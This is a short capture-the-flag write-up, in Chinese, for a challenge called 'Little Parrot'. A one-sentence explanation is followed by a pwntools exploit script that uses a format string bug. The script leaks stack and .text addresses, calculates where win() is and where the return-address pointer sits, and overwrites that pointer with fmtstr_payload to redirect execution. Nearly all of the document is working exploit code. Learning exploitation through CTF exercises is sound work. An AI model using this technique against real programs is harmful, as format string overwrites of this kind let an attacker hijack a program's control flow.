Little Parrot

Solution

這一題也可以看到 format string 的漏洞，問題在於要怎麼跳到 win()。我的作法是 leak 出 stack 和 .text 段的 address，計算 offset 後用 format string 再寫入 return address 的指標。

1
io.sendline(b"%40$p.%41$p")  # prev frame addr
2
io.recvuntil(b"You said > ")
3

4
prev_rbp = io.recvuntil(b".").strip(b".")
5
info("prev_rbp: " + prev_rbp.decode())
6

7
ret_addr = io.recvline().strip()
8
info("ret_addr: " + ret_addr.decode())
9

10
ptr_ret_addr = int(prev_rbp, 16) - frame_offset
11
info("ptr_ret_addr: " + hex(ptr_ret_addr))
12

13
win_addr = int(ret_addr, 16) - win_offset
14
info("win_addr: " + hex(win_addr))
15

16
info(hex(ptr_ret_addr + 4) + " -> win_addr: " + hex(win_addr))
17

18
payload = fmtstr_payload(
19
    offset=6,
20
    writes={
21
        ptr_ret_addr: win_addr,
22
    },
23
    write_size='short',
24
)
25

26
info(b"payload: " + payload)
27

28
io.sendline(payload)
29

30
io.sendline(b"exit")
31
io.interactive()
32
io.close()